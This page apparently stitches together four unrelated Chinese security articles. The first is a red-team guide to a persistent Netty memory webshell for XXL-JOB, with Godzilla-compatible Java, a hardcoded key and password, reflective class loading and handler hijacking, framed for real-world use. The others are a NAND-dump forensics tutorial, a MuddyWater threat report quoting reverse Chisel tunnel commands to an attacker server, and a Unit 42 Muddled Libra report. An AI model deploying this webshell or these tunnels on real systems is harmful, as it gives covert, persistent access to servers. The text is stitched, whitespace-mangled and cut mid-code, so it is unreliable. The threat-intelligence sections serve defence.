0x04XXL-JOB對於純粹的io.netty環境，在XXL-JOB內存馬中給出的答案是定制化內存馬，核心思想是修改com.xxl.job.core.biz.impl.ExecutorBizImpl的實現，由於每次請求都會觸發ServerBootstrap初始化流程，隨即進入.addLast(new EmbedHttpServerHandler(executorBiz, accessToken, bizThreadPool));而EmbedServer中的executorBiz在僅在啟動時觸發實例化，在整個應用程序的生命週期中都不變，使用動態類加載替換其實現，就能完成內存馬的持久化。

QQ截图20240613134332.png

在文章開頭，作者也曾嘗試反射調用pipeline.addBefore，依然是上面所提到的問題，不過很容易發現，通過ServerBootstrap所添加的EmbedHttpServerHandler能夠常駐內存，如果我們想要利用這一特性，還需進一步分析io.netty.bootstrap.ServerBootstrap的初始化過程。

0x05 ServerBootstrap限於篇幅，這裡僅截取關鍵代碼，直接定位到pipeline創建完成之後的片段，首先io.netty.bootstrap.ServerBootstrap#init在pipeline中添加了一個ServerBootstrapAcceptor，需要注意一下這裡的childHandler，這也是一種持久化的思路，後續會繼續提到。

QQ截图20240613134401.png

此時pipeline在內存中的情況如下，可以看到已經添加了ServerBootstrapAcceptor。

QQ截图20240613134442.png

netty介紹部分提及過handler的channelRead方法用於處理請求，因此可以直接去看io.netty.bootstrap.ServerBootstrap.ServerBootstrapAcceptor#channelRead的實現，這裡ServerBootstrapAcceptor把之前傳入的childHandler添加到pipeline中。

QQ截图20240613134450.png

childHandler由開發者所定義，通常會使用如下範式定義ServerBootStrap，也就是添加客戶端連接時所需要的handler。

ServerBootstrapbootstrap=newServerBootstrap();bootstrap.group(bossGroup,workerGroup).channel(NioServerSocketChannel.class).childHandler(newChannelInitializer@OverridepublicvoidinitChannel(SocketChannelchannel)throwsException{channel.pipeline().addLast(.).addLast(.);}})由開發者所定義的ChannelInitializer最終會走到ChannelInitializer#initChannel進行初始化，調用棧如下：

QQ截图20240613134545.png

總結一下該流程，每次請求都將觸發一次ServerBootstrap初始化，隨即pipeline根據現有的ChannelInitializer#initChannel添加其他handler，若能根據這一特性找到ServerBootstrapAcceptor，反射修改childHandler，也完成handler持久化這一目標。

0x06內存馬實現在探究netty的過程中，發現這樣一篇文章: xxl-job利用研究，作者給出的EXP已經很接近完整版了，在文章的最後拋出兩個問題，一是'註冊的handler必須加上@ChannelHandler.Sharable標籤，否則會執行器會報錯崩潰'，二是'壞消息是這個內存馬的實現是替換了handler，所以原本執行邏輯會消失，建議跑路前重啟一下執行器'。

這兩個問題很容易解決：

1、對於需要加入@ChannelHandler.Sharable這點而言，實測是不需要的，由於我們自定義的handler是通過new的方式創建的，理論上來講就是unSharable的。

2、反射修改ChannelInitializer導致執行器失效的問題，只需要給bootstrap添加一個EmbedHttpServerHandler就能保留其原有功能。

setFieldValue(embedHttpServerHandler,'childHandler',newChannelInitializer@OverridepublicvoidinitChannel(SocketChannelchannel)throwsException{channel.pipeline().addLast(newIdleStateHandler(0,0,30*3,TimeUnit.SECONDS))//beat3N,closeifidle.addLast(newHttpServe rCodec()).addLast(newHttpObjectAggregator(5*1024*1024))//mergerequestreponsetoFULL.addLast(newNettyThreadHandler()).addLast(newEmbedServer.EmbedHttpServerHandler(newExecutorBizImpl(),'',newThreadPoolExecutor(0,200,60L,TimeUnit.SECONDS,newLinkedBlockingQueu enewThreadFactory(){@OverridepublicThreadnewThread(Runnabler){returnnewThread(r,'xxl-rpc,EmbedServerbizThreadPool-'+r.hashCode());}},newRejectedExecutionHandler(){@OverridepublicvoidrejectedExecution(Runnabler,ThreadPoolExecutorexecutor){thrownewRuntimeExc eption('xxl-job,EmbedServerbizThreadPoolisEXHAUSTED!');}})));}});實戰中的利用還需兼容webshell管理工具，對於CVE-2022-22947而言，已有哥斯拉的馬作為參考，可直接在NettyMemshell基礎上稍作修改，需要注意的是，馬子裡的channelRead方法不能直接使用，問題出在條件判斷處，msg很有可能即實現了HttpRequest，也實現了HttpContent，因此走不到else中的邏輯，修改方式也很簡單，去掉else即可。

QQ截图20240613134637.png

目前實測下來，姑且認為不影響正常的功能，pipeline在內存中的情況如下：

packagecom.xxl.job.service.handler;

importcom.xxl.job.core.biz.impl.ExecutorBizImpl;importcom.xxl.job.core.server.EmbedServer;importio.netty.buffer.ByteBuf;importio.netty.buffer.Unpooled;importio.netty.channel.*;importio.netty.channel.socket.SocketChannel;importio.netty.handler.codec.http.*;importio. netty.handler.timeout.IdleStateHandler;importjava.io.ByteArrayOutputStream;importjava.lang.reflect.Field;importjava.lang.reflect.Method;importjava.net.URL;importjava.net.URLClassLoader;importjava.util.AbstractMap;importjava.util.HashSet;importjava.util.concurrent.*;

importcom.xxl.job.core.log.XxlJobLogger;importcom.xxl.job.core.biz.model.ReturnT;importcom.xxl.job.core.handler.IJobHandler;

publicclassDemoGlueJobHandlerextendsIJobHandler{publicstaticclassNettyThreadHandlerextendsChannelDuplexHandler{Stringxc='3c6e0b8a9c15224a';Stringpass='pass';Stringmd5=md5(pass+xc);Stringresult='';privatestaticThreadLocalAbstractMap.SimpleEntryprivatestaticClasspayload;

privatestaticClassdefClass(byte[]classbytes)throwsException{URLClassLoaderurlClassLoader=newURLClassLoader(newURL[0],Thread.currentThread().getContextClassLoader());Methodmethod=Clas sLoader.class.getDeclaredMethod('defineClass',byte[].class,int.class,int.class);method.setAccessible(true);return(Class)method.invoke(urlClassLoader,classbytes,0,classbytes.length);}

publicbyte[]x(byte[]s,booleanm){try{javax.crypto.Cipherc=javax.crypto.Cipher.getInstance('AES');c.init(m?1:2,newjavax.crypto.spec.SecretKeySpec(xc.getBytes(),'AES'));returnc.doFinal(s);}catch(Exceptione){returnnull;}}publicstaticStringmd5 (Strings){Stringret=null;try{java.security.MessageDigestm;m=java.security.MessageDigest.getInstance('MD5');m.update(s.getBytes(),0,s.length());ret=newjava.math.BigInteger(1,m.digest()).toString(16).toUpperCase();}catch(Exceptione){}returnret;}

@Override//Step2.作為Handler處理請求，在此實現內存馬的功能邏輯publicvoidchannelRead(ChannelHandlerContextctx,Objectmsg)throwsException{if(((HttpRequest)msg).uri().contains('netty_memshell')){if(m sginstanceofHttpRequest){HttpRequesthttpRequest=(HttpRequest)msg;AbstractMap.SimpleEntryrequestThreadLocal.set(simpleEntry);}if(msginstanceofHttpContent){HttpContenthttpContent

HireHackking

一、 簡介這篇研究論文將通過黑客的視角，詳細闡述如何操作NAND dump 以及如何獲取dump 文件中的所有文件。每一步驟以及所使用的方法均會細緻解析，並配以實例說明。本文主要關注的是物理NAND dump，這是從通用編程器中提取出的dump 文件。相對應地，從引導加載程序（如u-boot）中獲得的dump 文件被稱為邏輯NAND dump。

對於邏輯NAND dump，數據的正確性由Flash Translation Layer (FTL)負責維護。也就是說，FTL 會藉助Error Correcting Code (ECC)自動修復所有的位錯誤。然而，物理NAND dump 中的數據通常會攜帶ECC，這就需要我們自行推斷如何利用ECC 確保數據的準確性。如果數據中存在位錯誤，理應使用ECC 進行適當的糾錯。然而，推斷ECC 與數據如何相關聯並非易事。若無法確定ECC 和數據的關聯性，也就無法利用ECC 修復數據中的位錯誤。因此，必須對NAND dump 進行系統的深度分析，揭示ECC 和數據之間的密切關聯。在此情境下，盲目嘗試暴力破解並非明智之舉，但是如果能藉助深度分析的結果，盲目的暴力破解可以轉化為有目的性的暴力破解。這樣，獲取ECC 和數據之間密切關聯的可能性將得以最大化。

修復數據中的位錯誤並移除ECC 之後，NAND dump 就由物理形態轉化為邏輯形態，此時便可以開始對實際的固件圖像進行分析。作為論文的實際案例，我們將處理一個UBI 鏡像，並對UBI 鏡像的分析進行詳細的討論。根據從UBI 鏡像分析中得到的關鍵信息，我們提出了一個創新性的方法來恢復文件系統並提取文件系統內部承載的所有文件。需要特別注意的是，本論文討論的整個過程無法通過像binwalk 或unblob 這樣的自動化工具複製。此外，整個分析過程都會以手動、逐步的方式呈現，以確保所有步驟和概念都能夠得到清晰的解釋。現在，我們將不再糾結於理論討論，而是進入實際的NAND dump 分析環節，進行詳細的介紹。

二、 NAND 轉儲分析

首先，讓我們從一些基礎的概念開始探討。一個NAND 閃存包含許多稱為'頁面'的單元，它們都是固定的大小，並以一定數量的'頁面'組成一個'塊'。鑑於我們的樣本NAND dump 是從一個實際的NAND 芯片中獲取的，型號為MT29F2G08ABAEAWP，因此我們將以它為例，來介紹相關的硬件技術規範。

對於MT29F2G08ABAEAWP 這款芯片，一個'頁面'的大小是2112 字節，其中包括2048 字節的主數據和64 字節的額外數據。 64 個'頁面'組成一個'塊'，而2048 個這樣的'塊'構成了整個NAND 閃存的存儲空間，總計有2048*64=131072 個'頁面'。

對於每一個大小為2112 字節的'頁面'，前2048 字節用於數據存儲，剩餘的64 字節則作為備用區域，用於承載錯誤糾正代碼（Error Correcting Code, ECC）或某些供應商特定的元數據。在一些文獻中，這部分備用區域有時也被稱為Out Of Band（OOB）。

對於我們的樣本NAND dump，如果我們在十六進制模式下查看，會發現第一個'頁面'中，地址從0x0000 到0x07ff 的部分是數據區，地址從0x0800 到0x083f 的部分是備用區或OOB 區，具體示意如下。作為NAND 轉儲樣本的概述。

cawan%hexdump-C-n2112./MT29F2G08ABAEAWP@TSOP48.BIN

000000002054564e00020000a0ac0000ffffffff|TVN..|

0000001055aa55aa2e000000200200b000000001|U.U..|

00000020640200b0180000c0200200b018000001|d..|

00000030aa55aa5501000000aa55aa5501000000|.U.U.U.U.|

00000040281800b04ad8dc53081800b014800000|(.J.S.|

00000050aa55aa5501000000aa55aa5501000000|.U.U.U.U.|

00000060aa55aa5501000000001800b076040300|.U.U.v.|

00000070aa55aa5501000000041800b021000000|.U.U..|

00000080aa55aa5501000000041800b023000000|.U.U.#.|

00000090aa55aa5501000000aa55aa5501000000|.U.U.U.U.|

000000a0aa55aa5501000000041800b027000000|.U.U.'.|

000000b0aa55aa5501000000aa55aa5501000000|.U.U.U.U.|

000000c0aa55aa5501000000201800b000000000|.U.U..|

000000d0241800b0000000001c1800b000400000|$..@.|

000000e0181800b032030000101800b006000000|.2..|

000000f0041800b027000000aa55aa5501000000|.'.U.U.|

00000100aa55aa5501000000aa55aa5501000000|.U.U.U.U.|

00000110041800b02b000000041800b02b000000|.+.+.|

00000120041800b02b000000181800b032020000|.+.2.|

000001301c1800b0814700001c1800b001440000|.G.D.|

00000140041800b020000000341800b020888800|.4.|

00000150aa55aa5501000000180200b008000000|.U.U..|

00000160603100b800800000a03100b800800000|1.1.|

000001702c0200b0000100002c0200b000010000|,.|

000001802c0200b0000100000000000000000000|,.|

00000190130000ea14f09fe510f09fe50cf09fe5|..|

000001a008f09fe504f09fe500f09fe504f01fe5|..|

000001b020030000785634127856341278563412|.xV4.xV4.xV4.|

000001c078563412785634127856341278563412|xV4.xV4.xV4.xV4.|

000001d000020000a0ac000080b50000a0ac0000|..|

000001e0dec0ad0b00000fe11f00c0e3d30080e3|..|

000001f000f029e1bcd09fe507d0cde30000a0e3|.)..|

00000200700500eb0040a0e10150a0e10260a0e1|p.@.P.|

0000021004d0a0e18c004fe2009046e0060050e1|.O.F.P.|

000002200600000a0610a0e15c301fe5032080e0|.\0.|

000002300006b0e80006a1e8020050e1fbffff3a|..P.|

0000024074009fe574109fe50020a0e3010050e1|t.t.P.|

000002500200002a002080e5040080e2faffffea|.*..|

0000026000009fe500f0a0e154060000a0ac0000|.T.|

00000270a0ac0000a0ac00000000a0e3170f07ee|..|

00000280170f08ee100f11ee230cc0e38700c0e3|.#.|

00000290020080e3010a80e3100f01ee0ec0a0e1|..|

000002a00a0000eb0ce0a0e10ef0a0e10000a0e1|..|

000002b0e8d01fe5feffffeb008000bca0ae0000|..|

000002c080b700000000a0e10000a0e10000a0e1|..|

000002d068009fe50010e0e3001080e500000fe1|h..|

000002e0c00080e300f021e154009fe554109fe5|.T.T.|

000002f0001080e550009fe550109fe5001080e5|.P.P.|

000003004c009fe50514a0e3001080e544009fe5|L..D.|

0000031044109fe5001080e5032aa0e3012052e2|D.*.R.|

00000320fdffff1a20009fe530109fe5001080e5|.0.|

00000330012ba0e3012052e2fdffff1a0ef0a0e1|.+.R..|

00000340242100b8041000b084000440040200b0|$!@.|

00000350ff0f0000080200b00c0200b0244f0000|..$O.|

00000360fc0f0000000000000000000000000000|..|

00000370000051e31f00000a0130a0e30020a0e3|.Q.0.|

00000380010050e11900003a010251e300005131|.P.Q.Q1|

000003900112a0310332a031faffff3a020151e3|.1.2.1.Q.|

000003a0000051318110a0318330a031faffff3a|.Q1.1.0.1.|

000003b0010050e10100402003208221a10050e1|.P.@.P.|

000003c0a1004020a3208221210150e121014020|.@.P.@|

000003d023218221a10150e1a1014020a3218221|#!P.@.|

000003e0000050e32332b0112112a011efffff1a|.P.#2..|

000003f00200a0e10ef0a0e104e02de5c91c00eb|..-.|

000004000000a0e30080bde803502de9d7ffffeb|..P-.|

000004100650bde8900203e0031041e00ef0a0e1|.P.A.|

0000042003502de9090000eb0650bde8900203e0|.P-.P.|

00000430031041e00ef0a0e10000a0e10000a0e1|.A..|

000004400000a0e10000a0e10000a0e10000a0e1|..|

00000450000051e301c020e04200000a00106142|.Q.B.aB|

00000460012051e22700000a0030b0e100306042|.Q.'.0.0B|

00000470010053e12600009a020011e12800000a|.S.(.|

000004800e0211e38111a0010820a0030120a013|..|

00000490010251e3030051310112a0310222a031|.Q.Q1.1.'.1|

000004a0faffff3a020151e3030051318110a031|.Q.Q1.1|

000004b08220a031faffff3a0000a0e3010053e1|.1..S.|

000004c00130432002008021a10053e1a1304320|.0C.S.0C|

000004d0a2008021210153e12131432022018021|.S.1C'.|

000004e0a10153e1a1314320a2018021000053e3|.S.1C.S.|

000004f02222b0112112a011efffff1a00005ce3|''..\.|

00000500000060420ef0a0e100003ce100006042|.B..B|

000005100ef0a0e10000a033cc0fa00101008003|.3.|

000005200ef0a0e1010851e32118a0211020a023|.Q.#|

000005300020a033010c51e32114a02108208222|.3.Q.'|

00000540100051e32112a02104208222040051e3|.Q.'.Q.|

0000055003208282a120829000005ce33302a0e1|.\.3.|

00000560000060420ef0a0e104e02de56d1c00eb|.B.-.m.|

000005700000a0e304f09de40000a0e10000a0e1|..|

000005800000a0e10000a0e10000a0e10000a0e1|..|

00000590203052e220c062e23002a0413103a051|0R.b.0.A1.Q|

000005a0110c80413112a0e10ef0a0e1203052e2|.A1.0R.|

000005b020c062e21112a0411013a051301c8141|.b.A.Q0.A|

000005c01002a0e10ef0a0e1203052e220c062e2|.0R.b.|

000005d03002a0415103a051110c80415112a0e1|0.AQ.Q.AQ.|

000005e00ef0a0e12dde4de20040a0e36c319fe5|.-.M.@.l1.|

000005f00d00a0e100308de504308de51c408de5|.0.0.@.|

00000600bcd28de530408de550408de5d10100eb|.0@.P@.|

000006101c309de5040053e10200000a0410a0e1|.0.S..|

000006208a0f8de233ff2fe18a0f8de20110a0e3|.3./..|

00000630ca1a00eb000050e34600001a700400eb|.P.F.p.|

0000064038429de53c529de50400a0e10510a0e1|8B.R..|

0000065046ffffeb0410a0e10ea6a0e300b0a0e1|F..|

000006600a08a0e341ffffeb0410a0e10070a0e1|.A.p.|

00000670ec009fe53dffffeb0410a0e10090a0e1|.=..|

000006800a08a0e35fffffeb0100a0e10

HireHackking

微信截图_20220115160037.png

MuddyWater 通常被認為是由伊朗政府支持的攻擊者，根據目前最新的分析，美國網絡司令部已將此活動歸咎於伊朗情報部(MOIS)。最近，美國網絡司令部指出MuddyWater 使用了多個惡意軟件集。其中，PowGoop 與我們在最近事件中分類的活動相關。

分析新PowGoop 變種PowGoop 是Palo Alto 首次發現的惡意軟件家族，它利用DLL 搜索命令劫持(T1574.001)。該名稱源自使用“GoogleUpdate.exe”來加載“goopdate.dll”的惡意修改版本，該版本用於從外部文件加載惡意PowerShell 腳本。

我們發現了涉及重大變化的更新版本的PowGoop加載器，這表明即使在最近的曝光後，該組織仍在繼續使用和維護它。這些新變種顯示，該攻擊組織已經擴大了其用於裝載惡意dll的合法軟件的武器庫。除了“GoogleUpdate.exe”之外，還有三個良性軟件被濫用，以輔助加載惡意dll:“Git.exe”、“FileSyncConfig.exe”和“inno_update .exe”。

每個DLL包含一個修改後的DLL和一個重命名的真實DLL。被劫持的DLL包含源自重命名後的對應DLL的導入，以及攻擊者編寫的兩個附加函數。被劫持的dll列表如下:

1.png

與以前的版本不同，被劫持的DLL 嘗試反射式加載兩個附加文件，一個名為“Core.dat”，它是從導出“DllReg”調用的shellcode，另一個名為“Dore.dat”，它是一個PE 文件，帶有一個“MZRE”標頭，允許它作為shellcode 執行，類似於從導出“DllRege”調用的公開報告的技術。

這兩個' .dat '文件對於每個被劫持的dll都是相同的，並且都是在各自的導出上使用rundll32執行的，這會將文件從磁盤讀取到虛擬分配的緩衝區，然後調用讀取數據中的偏移量0。

“Dore.dat”和“Core.dat”搜索名為“config.txt”的文件，並使用PowerShell以類似於舊版本(T1059.001)的方式運行它。這兩個組件在功能上的重疊並不清楚；然而，很明顯，“Core.dat”代表了PowGoop 更成熟和進化的版本，因為它作為shellcode 加載，使其不太可能被靜態檢測到。

還值得注意的是，兩個組件都沒有必要駐留在受感染的系統上，因為惡意軟件可以通過其中任何一個成功執行。鑑於此，有可能將其中一個或另一個用作備份組件。在撰寫本文時，無法檢索到“config.txt”中的PowerShell 有效負載。

2.png

新的PowGoop變體的執行流程

MuddyWater隧道活動MuddyWater活動背後的操作人員非常喜歡隧道工具，該組織使用的自定義工具通常功能有限，用於放棄隧道工具，使操作者能夠進行更廣泛的活動。 MuddyWater的攻擊者使用的隧道工具有Chisel、SSF和Ligolo。

隧道活動的性質常常令人困惑，下面是攻擊者對一些受害者執行的命令，有助於澄清他們對此類工具的使用情況：

SharpChisel.execlientxx.xx.xx.xx:8080r:8888:127.0.0.1:9999在客戶端執行中使用的“r”標誌意味著服務器在“反向”模式下運行。根據Chisel的文檔，

設置--reverse 標誌，“允許客戶端在正常遠程之外指定反向端口轉發遠程”。

在這種情況下，“SharpChisel.exe”客戶端在受害者設備上運行，通過端口8080 連接回Chisel 服務器，並指定將來自服務器端口8888 的任何內容轉發到客戶端的端口9999。

這乍一看可能有點奇怪，因為在Windows設備上通常不使用端口9999，而且沒有綁定到任何特定的服務。這是在隨後的反向隧道設置一個Chisel SOCKS5服務器受害者，等待傳入連接端口9999:

SharpChisel.exeserver-p9999--socks5通過在設備上設置Chisel的服務器和客戶端實例，操作人員使自己能夠通過SOCKS5支持的各種協議。這實際上在隧道內創建了一個隧道。鑑於此，運營商很可能會通過端口8888 向服務器發起SOCKS 流量，從而將流量從感興趣的應用程序傳輸到網絡內部。

Chisel和其他隧道工具的使用有效地使攻擊行動者能夠連接到目標環境中的設備，就好像它們在運營商LAN 中一樣。

5.png

使用Chisel 進行MuddyWater 隧道挖掘

攻擊利用在跟踪MuddyWater的活動時，我們發現了一個針對知名組織Exchange服務器的有趣的活動子集。 Exchange漏洞利用活動的這個子集相當有趣，因為如果沒有上下文，很難將其歸因於MuddyWater，因為該活動幾乎完全依賴於公開可用的攻擊性安全工具。

攻擊者試圖使用兩種不同的工具來利用Exchange服務器：

用於利用CVE-2020-0688 (T1190)的公開腳本；

一個開源的Exchange開發框架；

CVE-2020-0688 漏洞利用對所觀察到的活動的分析表明，MuddyWater攻擊組織試圖利用CVE-2020-0688攻擊中東的政府組織。該漏洞允許通過身份驗證的用戶執行遠程代碼。 MuddyWater 操作員試圖運行的特定漏洞被用來刪除webshell。

使用PowerShell命令將webshell內容寫入到特定的路徑“/ecp/HybridLogout.aspx”。 webshell等待參數“cmd”，並使用XSL腳本處理(T1220)在其中運行命令。

6.png

webshell MuddyWater的一個片段試圖上傳到Exchange服務器

此活動與來自名為fuckchina_v2.py 的Github 存儲庫中的CVE-2020-0688 漏洞利用腳本高度相關。該腳本利用CVE-2020-0688 將ASPX webshell 上傳到路徑：“/ecp/HybridLogout.aspx” (T1505.003)。它也是唯一可公開獲得的CVE-2020-0688 實現之一，它會刪除Web shell。

7.png

CVE-2020-0688 漏洞利用腳本片段

總結對MuddyWater活動的分析表明，該組織在繼續發展和調整他們的技術。儘管該組織仍然依賴於公開可用的攻擊性安全工具，但它已經改進了自定義工具集，並利用新技術來避免被發現。這可以通過本報告中觀察和分析的三個不同的活動來觀察到：PowGoop惡意軟件家族的演變、隧道工具的使用以及針對Exchange服務器的攻擊。

HireHackking

2022年底，隨著0ktapus網絡釣魚工具包的發布，Muddled Libra正式出現在公眾視野，該工具包提供了預構建的託管框架和捆綁模板，利用大量用虛假身份驗證的真實門戶進行有針對性的攻擊，攻擊者能夠快速收集憑據和多因素身份驗證MFA代碼。如今0ktapus框架已被商品化，即使是攻擊新手也能獲得很高的成功率。 0ktapus框架功能包括預構建的模板和通過Telegram內置的C2頻道，成本只需幾百美元。

這個工具包所攻擊的目標的數量之多，以至於給攻擊歸屬造成了很多困惑。 Group IB、CrowdStrike和Okta之前的報告已經記錄並將其中許多攻擊映射到以下組織：0ktapus、Scattered Spider和Scatterd Swine。以上三個名字很可能是一個組織，也很可能是使用同一個工具包的三個組織。 Muddled Libra就是其中的一個組織。

Unit 42發現Muddled Libra攻擊時具有以下特點：

马云惹不起马云使用0ktapus網絡釣魚工具包；

马云惹不起马云持續攻擊；

马云惹不起马云非破壞性存在；

马云惹不起马云持續瞄準業務流程外包（BPO）行業；

马云惹不起马云數據被盜；

马云惹不起马云 在下游攻擊中使用受攻擊的基礎設施；

調查表明Muddled Libra使用了一個異常龐大的攻擊工具包，包括社會工程、滲透測試和取證工具，其功能要強於強大的網絡防禦能力。

在Unit 42調查的事件中，Muddled Libra在攻擊目標選擇上非常有針對性，進攻策略也非常靈活。當一個攻擊方法被阻斷時，他們要么迅速轉向另一個方法，要么轉化攻擊環境重新開始攻擊。

Muddled Libra也對現代事件響應（IR）框架有著深刻理解，這使他們能夠不斷修改攻擊策略從而實現攻擊目的。

Muddled Libra更傾向於使用被盜數據來對受害者發起攻擊，如果允許，他們會反复刷新被盜數據集。使用這些被盜數據，即使在最初的事件響應之後，攻擊者也有能力回到以前的受害者那裡。這證明了攻擊者即使在被發現後仍具有持續攻擊能力。

此外，Muddled Libra似乎對他們的攻擊行為有明確的預期和路徑設計，而不僅僅是投機取巧那麼簡單。他們在發動攻擊時，會迅速尋找並竊取了下游客戶端環境中的信息，然後利用這些信息進入到攻擊環境中。他們對高價值客戶以及對後續攻擊最有用的信息有著1前瞻性判斷。

攻擊鏈雖然每一起事件都是獨一無二的，但Unit 42的研究人員已經確定了戰術、技術和程序（TTP）方面的很過共性，可以將多起事件歸因於Muddled Libra。

1.png

攻擊鏈

偵察階段Muddled Libra對目標組織有著非常細緻的了解，包括員工名單、職務和手機號碼。在某些情況下，這些數據可能是在早期針對上游目標的攻擊行為中獲得的。

攻擊者還經常從非法數據代理那裡獲取信息包，例如現已倒閉的Genesis和Russian Markets。這些數據通常是從受感染的設備上收集的，包括企業和個人設備，使用的是像RedLine stealer這樣的惡意軟件。

隨著自帶設備（BYOD）政策的早期出現，以及混合工作解決方案的流行，公司數據和憑據被頻繁使用並緩存在個人設備上。分散IT資產的管理和保護為信息竊取惡意軟件創造了一個有利可圖的攻擊機會。

資源開發使用相似域名發起攻擊是Muddled Libra的經典標誌。這種策略是有效的，因為移動設備經常截斷SMS消息中的鏈接。

歸因於0ktapus活動的早期攻擊組織一直使用通過Porkbun或Namecheap註冊並託管在Digital Ocean（一家成立於2012年的總部設置在紐約的雲主機商家，採用KVM虛擬）基礎設施上的域名，這些域往往是短暫的，只在最初的訪問階段使用，然後很快被刪除。

Unit 42注意到攻擊者使用ktapus網絡釣魚工具包來獲取憑證。 Group-IB詳細記錄了這種多用途的工具，在地下組織中廣泛使用。它幾乎不需要什麼技能就可以安裝和配置，這使它成為高度針對性的欺騙攻擊的理想工具。

初始訪問在Unit 42可以確定初始訪問方法的所有事件中，都涉及詐騙或社會工程。在大多數事件中，攻擊者直接向目標員工的手機發送引誘信息，聲稱他們需要更新賬戶信息或重新驗證公司應用程序。消息中包含一個指向偽造公司域的鏈接，該域旨在模仿熟悉的登錄頁面。

持久性MuddledLibra特別專注於維護對目標環境的訪問。雖然攻擊者在攻擊期間使用免費或演示版的遠程監控和管理（RMM）工具是很常見的，但Muddled Libra通常安裝了六個或更多這樣的實用程序。他們這樣做是為了確保即使有一個被發現，他們也能保留一個進入環境的後門。

使用商業RMM工具尤其需要注意，因為這些工具是Muddled Libra正在濫用的合法程序。他們可以合法地出現在組織內，防御者應該權衡是完全阻止還是仔細監控他們。觀察到的工具包括Zoho Assist、AnyDesk、Splashtop、TeamViewer、ITarian、FleetDeck、ASG Remote Desktop、RustDesk和ManageEngine RMM。

這些工具本身都不是惡意的，並且經常用於許多企業網絡的日常管理。 Unit 42建議組織通過簽名者阻止任何不允許在企業內使用的RMM工具。

防禦規避Muddled Libra對各種安全控制及其熟悉，完美地避開了常見的防禦。

具體行為包括：

马云惹不起马云禁用防病毒和基於主機的防火牆；

马云惹不起马云試圖刪除防火牆配置文件；

马云惹不起马云繞過防御者；

马云惹不起马云停用或卸載EDR和其他監控產品；

攻擊者還重新啟用並使用了現有的Active Directory帳戶，以避免觸發公共安全信息和事件管理（SIEM）監控規則。他們還被觀察到在終端檢測和響應（EDR）管理控制台內操作以清除警報。

Muddled Libra在攻擊活動中很謹慎，一直使用商業虛擬專用網絡（VPN）服務來隱藏其地理位置，並試圖融入合法流量。在Unit 42研究人員調查的大多數事件中，Mullvad VPN是首選，但也觀察到許多其他供應商，如ExpressVPN、NordVPN、Ultrasurf、Easy VPN和ZenMate。

Unit 42的研究人員還觀察到了輪流使用住宅代理服務的情況。正如Brian Krebs在2021年報導的那樣，住宅代理服務通常將其代碼隱藏在瀏覽器擴展中，允許運營商將住宅連接出租給合法和惡意攻擊者。

憑據訪問一旦捕獲了用於初始訪問的憑據，攻擊者就會選擇其中一條路徑。在第一種情況下，他們繼續從他們控制的計算機進行身份驗證，並立即請求多因素身份驗證（MFA）代碼。在另一種情況下，他們隨後生成了一系列MFA提示，直到用戶接受其中一個，這種方法也稱為MFA轟炸。

在MFA轟炸失敗的情況下，攻擊者就會聯繫該組織的求助台，聲稱自己是受害者。然後謊稱他們的手機無法操作或放錯地方，並要求註冊一個新的、由攻擊者控制的MFA身份驗證設備。

Muddled Libra在社會工程方面的成功是值得注意的。在許多示例中，該組織通過電話與服務台和其他員工交流，實施攻擊活動。

在建立了立足點後，Muddled Libra迅速採取行動，提升訪問權限。本階段使用的標準憑證竊取工具包括Mimikatz、ProcDump、DCSync、Raccoon Stealer和LAPSToolkit。當該組織無法快速確定提升的憑據時，他們就會使用Impacket、MIT Kerberos Ticket Manager和NTLM編碼器/解碼器。

在一些事件中，Muddled Libra採取了不同尋常的步驟，使用專門的工具，使用MAGNET RAM Capture和Volatility直接搜索內存內容以查找憑據。由於這些都是Muddled Libra正在濫用的合法取證工具，防御者應該仔細考慮阻止它們的不利因素，包括安全團隊活動產生誤報警報的可能性。

這給防御者提出了一個挑戰，儘管用戶帳戶可能通過特權訪問管理受到保護，但終端通常具有緩存用於系統管理或運行服務的提升憑據。應注意確保特權憑據僅具有執行其預期功能所需的權限，並密切監控其是否偏離正常行為。

發現過程muddle Libra的發現方法在不同的示例中是一致的。在調查中，該組織使用了知名的合法滲透測試工具來繪製環境並確定感興趣的目標。他們的工具包包括SharpHound, ADRecon, AD Explorer, Angry IP Scanner, Angry Port Scanner和CIMplant。

事實證明，Muddled Libra還精通商業系統管理工具，如用於發現和自動化的ManageEngine、LANDESK和PDQ Inventory，虛擬環境中使用的VMware PowerCLI和RVTools。

防御者應警惕未經批准的網絡掃描和對多個系統的異常快速訪問或跨邏輯業務部門的訪問。

執行過程調查發現，Muddled Libra似乎主要對數據和憑據盜竊感興趣，我們很少看到遠程執行。當需要時，該組織使用Sysinternals PsExec或Impacket完成執行。捕獲的憑據或身份驗證哈希用於權限提升。

橫向活動對於橫向活動，Muddled Libra更喜歡使用來自受攻擊設備的遠程桌面協議（RDP）。這種方法有助於最大限度地減少日誌中可發現的外部網絡構件，這些構件可以提醒防御者並幫助調查人員進行追踪。

尋找目標數據Muddled Libra似乎非常了解企業數據管理。他們成功地在受害者設備上的各種常見數據存儲庫中找到敏感數據，包括結構化和非結構化數據存儲庫，比如：

马云惹不起马云Confluence；

马云惹不起马云Git；

马云惹不起马云Elastic；

马云惹不起马云Microsoft Office 365 suite (e.g. SharePoint, Outlook)；

马云惹不起马云Internal messaging platforms；

他們還從Zendesk和Jira等常見服務台應用程序中查找受害者環境中的數據。挖掘的數據包括進一步洩露的憑據，它們直接針對敏感和機密信息。

Unit 42的研究人員還觀察到了開源數據挖掘工具Snafler和本地工具在註冊中心、本地驅動器和網絡共享中搜索*password*和securestring等關鍵詞的情況。然後，使用WinRAR或PeaZip對洩露的數據進行分級和存檔。

防御者應定期在自己的環境中執行關鍵字搜索，以識別不正確存儲的數據和憑證。

盜取數據在一些情況下，Muddled Libra試圖建立反向代理shell或secure shell（SSH）隧道，用於命令和控製或盜取。 Muddled Libra還使用了常見的文件傳輸網站，如put[.]io、transfer[.]sh、wasabi[.]com或gofile[.]io來盜取數據，研究人員還觀察到Cyberduck作為文件傳輸代理。

緩解措施Muddled Libra是一個攻擊能力非常強的惡意軟件，對軟件自動化、業務流程外包、電信和技術行業的組織構成了巨大威脅。他們精通一系列安全規範，能夠在相對安全的環境中迅速執行以完成毀滅性的攻擊。

Muddled Libra並沒有任何技術上的創新，只是把目前已有的技術疊加在一起從而產生了很強的攻擊力。

建議組織：1.盡可能實現MFA和單點登錄（SSO），最好是快速身份在線（FIDO）。在我們調查的示例中，Muddled Libra最成功的是說服攻擊目標幫助他們繞過MFA。當他們無法做到這一點時，他們就會更換其他目標。

2.防御者還應考慮如何在多次MFA故障時最好地實施安全警報和帳戶鎖定。

